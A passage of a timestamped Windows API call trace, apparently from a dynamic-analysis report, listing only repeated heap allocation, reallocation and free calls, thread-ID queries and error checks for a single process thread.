0x0 [0074.703] GetCurrentThreadId () returned 0x9b0 [0074.703] GetLastError () returned 0x0 [0074.703] GetCurrentThreadId () returned 0x9b0 [0074.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ccf490 [0074.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2cd1068 [0074.704] GetLastError () returned 0x0 [0074.704] GetCurrentThreadId () returned 0x9b0 [0074.704] GetLastError () returned 0x0 [0074.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ccf490 | out: hHeap=0x2ad0000) returned 1 [0074.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cd1068, Size=0x3853) returned 0x2cd1068 [0074.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e0) returned 0x2cbc1a8 [0074.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x478) returned 0x2ccf490 [0074.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f08, Size=0x20) returned 0x2a1fb78 [0074.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a18dd0 [0074.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18dd0, Size=0x64) returned 0x2a197a8 [0074.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac0450 [0074.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0450, Size=0xb8) returned 0x2ac9ad0 [0074.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9ad0, Size=0xe8) returned 0x2c375c8 [0074.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c375c8, Size=0x120) returned 0x2cb5ce8 [0074.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb5ce8, Size=0x160) returned 0x2cb6c08 [0074.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2c792d8 [0074.705] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6c08, Size=0x1a8) returned 0x2cb8868 [0074.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x309bfe0 [0074.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x27d) returned 0x2ccf910 [0074.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb8868, Size=0x1f8) returned 0x2c313d8 [0074.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c313d8, Size=0x250) returned 0x2ac4e30 [0074.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x347) returned 0x2ccfb98 [0074.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4e30, Size=0x2b4) returned 0x2c2d250 [0074.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x333) returned 0x2ccfee8 [0074.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2d250, Size=0x324) returned 0x2bac990 [0074.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bac990 | out: hHeap=0x2ad0000) returned 1 [0074.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd1068 | out: hHeap=0x2ad0000) returned 1 [0074.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae60 [0074.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae60 | out: hHeap=0x2ad0000) returned 1 [0074.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bb9c98 [0074.706] GetCurrentThreadId () returned 0x9b0 [0074.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7070 [0074.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7070 | out: hHeap=0x2ad0000) returned 1 [0074.707] GetCurrentThreadId () returned 0x9b0 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa10 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x44) returned 0x2acebb0 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5c) returned 0x2c321c8 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3c) returned 0x2a190a0 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1ff28 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2bc55f8 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34) returned 0x2a8a8e8 [0074.707] GetCurrentThreadId () returned 0x9b0 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb390 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62448 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af40 [0074.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aff0 [0074.707] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af40, Size=0x14) returned 0x2a71700 [0074.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aff0 | out: hHeap=0x2ad0000) returned 1 [0074.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0074.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb390 | out: hHeap=0x2ad0000) returned 1 [0074.708] GetCurrentThreadId () returned 0x9b0 [0074.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7fc0 [0074.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7fc0 | out: hHeap=0x2ad0000) returned 1 [0074.708] GetCurrentThreadId () returned 0x9b0 [0074.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af90 [0074.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71940 [0074.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af90 | out: hHeap=0x2ad0000) returned 1 [0074.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af90 [0074.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0074.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af90 | out: hHeap=0x2ad0000) returned 1 [0074.708] GetCurrentThreadId () returned 0x9b0 [0074.708] GetCurrentThreadId () returned 0x9b0 [0074.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.708] GetCurrentThreadId () returned 0x9b0 [0074.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8040 [0074.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8040 | out: hHeap=0x2ad0000) returned 1 [0074.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.709] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x20) returned 0x2ba3a50 [0074.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.709] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x20) returned 0x2ba3a50 [0074.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb390 [0074.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x607) returned 0x2cbc818 [0074.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.710] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbc818, Size=0x6c0) returned 0x2cbc818 [0074.710] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbc818, Size=0x88a) returned 0x2cbc818 [0074.710] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbc818, Size=0x7c3) returned 0x2cbc818 [0074.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb390 | out: hHeap=0x2ad0000) returned 1 [0074.710] GetCurrentThreadId () returned 0x9b0 [0074.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bba750 [0074.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8100 [0074.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2010) returned 0x2cbcfe8 [0074.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x398) returned 0x2cbf000 [0074.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7b0) returned 0x2cd0228 [0074.711] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cd0228, Size=0x7af) returned 0x2cd0228 [0074.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29c) returned 0x2cd0c90 [0074.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29c) returned 0x2cd0f38 [0074.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd11e0 [0074.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd1428 [0074.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x238) returned 0x2cd1670 [0074.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29c) returned 0x2cd18b0 [0074.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd1b58 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x278) returned 0x2cd1da0 [0074.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x270) returned 0x2cd2020 [0074.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29c) returned 0x2cd2298 [0074.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x270) returned 0x2cd2540 [0074.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2cd27b8 [0074.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x270) returned 0x2cd2a00 [0074.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x270) returned 0x2cd2c78 [0074.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2cd09e0 [0074.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd09e0 | out: hHeap=0x2ad0000) returned 1 [0074.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, 